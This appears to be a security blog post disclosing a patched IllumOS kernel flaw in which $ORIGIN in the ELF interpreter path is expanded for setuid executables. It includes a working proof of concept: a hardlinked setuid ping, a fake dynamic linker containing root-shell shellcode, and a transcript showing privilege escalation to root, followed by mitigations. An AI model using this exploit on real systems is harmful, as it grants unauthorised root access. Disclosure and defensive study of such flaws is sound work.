ELF security is somewhat esoteric, and the related vulnerabilities are often very interesting. Today we will be discussing a security issue that lives within the ELF loading code of unpatched IllumOS kernels, and is not specific to any given architecture. The vulnerability may very likely extend to other operating systems which support ELF, and have legacy roots.

The Backstory

During testing of a new product feature, I discovered that the IllumOS kernel did not protect suid executables against $ORIGIN variable expansion, providing a vector for privileged code execution. Before further elaboration let me give you a synopsis of a vulnerability that was reported by Tavis Ormandy in 2010. This vulnerability stems from the fact that certain expansion variables, namely $ORIGIN are sometimes placed within the DT_RPATH and DT_RUNPATH tags in the dynamic segment of an ELF executable. $ORIGIN/libs will direct the dynamic linker to first search for shared objects that exist in the ./libs directory, relative to the executables current working directory. Since $ORIGIN expands to the CWD of the executable, it is conceivable for an attacker to create a hardlink of the executable to a directory that they control which also has a ./libs sub directory containing a malicious shared object. If the executable is setuid, then the attacker can craft a shared object to do anything they want, such as execve("/bin/bash", ...), game over.

As it turns out, IllumOS is not vulnerable to this type of attack; they have the concept of trusted paths. The reason that I decided to share this existing vulnerability, is because it is a related security issue. The one that I will present today is less likely to be exploited, but dates back possibly to Solaris 2.x, and actually lives in the kernel. The probability of being exploited in the wild is generally quite low, except in certain cases with very custom setups, as we will discuss. Part of the purpose of this blog post is to reach those people who may have the unique conditions in place that are exposing this vulnerability in such a way that it is exploitable.

The Vulnerable Code

For some initial context; the following code is parsing the string in the PT_INTERP segment of an executable, which contains the path to the program interpreter, also known as the dynamic linker.

	/*
	 * Search for '$ORIGIN' token in interpreter path.
	 * If found, expand it.
	 */
	for (p = dlnp; p = strchr(p, '$'); ) {
		uint_t  len, curlen;
		char    *_ptr;

		if (strncmp(++p, ORIGIN_STR, ORIGIN_STR_SIZE))
			continue;
		
		... truncated ...

It isn’t necessary to show the entire block of code, it simply expands $ORIGIN to the correct path, and does not attempt to check whether or not the executable it is parsing is setuid before allowing the $ORIGIN variable to be used. What exactly does this mean? It means that the IllumOS kernel accepts the $ORIGIN expansion variable to be used with the path specified in the PT_INTERP segment of an executable. In other words you can fool the kernel into mapping a phony dynamic linker into memory, but only with executables that are using a relative dynamic linker path. If the attacker hopes to obtain privilege escalation, then the executable which uses a relative linker path must also be setuid/setgid. An executable which meets this criteria would have been built and linked with a command like gcc -Wl,--dynamic-linker=\$ORIGIN\\lib\ld.so.1. You can look at the PT_INTERP segment of a binary to check whether or not it is vulnerable by using readelf -l <binary> | grep interpreter. So this brings us to the next question; how common are programs that use a relative linker path? Probably not very common. However there are many custom setups out there, and as a colleague pointed out to me, these types of alternative configurations tend to become more common on misc. devices. This vulnerability is not an architecture specific problem, so it should reach all versions of SunOS and Solaris that have the issue.

Proof of Concept

In IllumOS non-privileged users are allowed to create hard links of setuid executables which is necessary in order for exploitation of this vulnerability to achieve privileged code execution.

NOTE: Various Linux distributions have incorporated patches that restrict hard link behavior, preventing security vulnerabilities such as the one we are about to demonstrate.

In order to exploit this vulnerability, the system must have an executable that is setuid, and has been linked so that it uses a program interpreter which is relative to its own path, as discussed earlier. Since the IllumOS environment does not by default build any of its setuid (or non-setuid) executables this way, we must create the conditions of exploitability for our proof of concept.

Example $ gcc -Wl,--dynamic-linker=\$ORIGIN\\lib\ld.so.1 vuln.c -o vuln

In our case I just directly modified the /usr/sbin/ping executable’s PT_INTERP segment, so that it uses a relative dynamic linker. I also created a /usr/sbin/lib directory and put a copy of the systems real dynamic linker ld.so in that location so that /usr/sbin/ping could still run properly.

$ readelf -l /usr/sbin/ping | grep ORIGIN
	[Requesting program interpreter: $ORIGIN/lib/ld.so.1]

We want to fool the ELF loading code in the kernel to map in a dynamic linker that we control, i.e. /home/elfmaster/lib/ld.so.1. Ideally our dynamic linker will not perform any dynamic linking at all, instead it will spawn a shell.

setuid(0);
execve("/bin/bash", ...);

The following code was taken from http://shell-storm.org and compiled into an executable with gcc -nostdlib which indicates to use no standard libc.

/*
 * gcc -nostdlib ld.c -o ld
 */
_start()
{
	asm volatile(
			"xorl %eax, %eax\n"
			"pushl %eax	\n"
			"pushl %eax	\n"
			"movl $0x17, %eax\n"
			"int $0x91	\n"
			"xorl   %eax,%eax\n"
			"pushl  %eax\n"
			"pushl $0x68732f6e\n"
			"pushl $0x69622f2f\n"
			"movl %esp, %ebx\n"
			"pushl %eax\n"
			"pushl %ebx\n"
			"movl %esp, %edx\n"
			"pushl %eax\n"
			"pushl %edx\n"
			"pushl %ebx\n"
			"movb $0x3b, %al\n"
			"pushl %eax\n"
			"int $0x91"
		);
}

Create hard-link of our vulnerable executable

$ pwd
$ /home/elfmaster
$ ln /usr/sbin/ping ping
$ ls -l ping
-r-sr-xr-x    2 root    root     54424 May 17th 21:01 ping
$

Put our fake dynamic linker program into /home/elfmaster/lib

$ gcc -nostdlib ld.c -o lib/ld.so.1

Escalate privileges by running our hardlink of setuid ping which will execute lib/ld.so.1 as the dynamic linker, thus calling execve("/bin/bash", ...).

$ id
uid=110(elfmaster) gid=1(other) groups=1(other),110(elfmaster)
$ ./ping
$ id
uid=0(root) gid=1(other) groups=1(other),110(elfmaster)
$ whoami
root
$

In Closing

This security issue is no doubt interesting, but just how many custom-setups are out there that actually build their executables so that they use a relative dynamic linker? I would imagine that the folks who are working on the dynamic linker code themselves are testing the linker’s code by using a relative linker path, as to not break the absolute dynamic linker path used by the rest of the system, but that is a very slim group of people. I’d be curious to hear about anyone using relative dynamic linker paths. And out of those people who are using vulnerable configurations, what of those are actually setuid executables? Feel free to contact me with any feedback or questions at roneill [at] backtrace.io.

Mitigation

The IllumOS team has patched this vulnerability. For any other OSs that may have this issue, there are at least several options:

  • A VFS kernel patch to prevent hard links on setuid binaries
  • A patch to ELF kernel loading code to disallow relative PT_INTERP paths on setuid binaries

The first would serve as a mitigation for many other vulnerabilities of a similar nature, whereas the second one would specifically only stop the vulnerability discussed in this article.

As a rule of thumb for system administrators; Do not use $ORIGIN with setuid executables!

Exploiting the linker

Shared library injection forensics

Edits

7/1/2016 - Made two revisions, changing description of symbolic links to hard links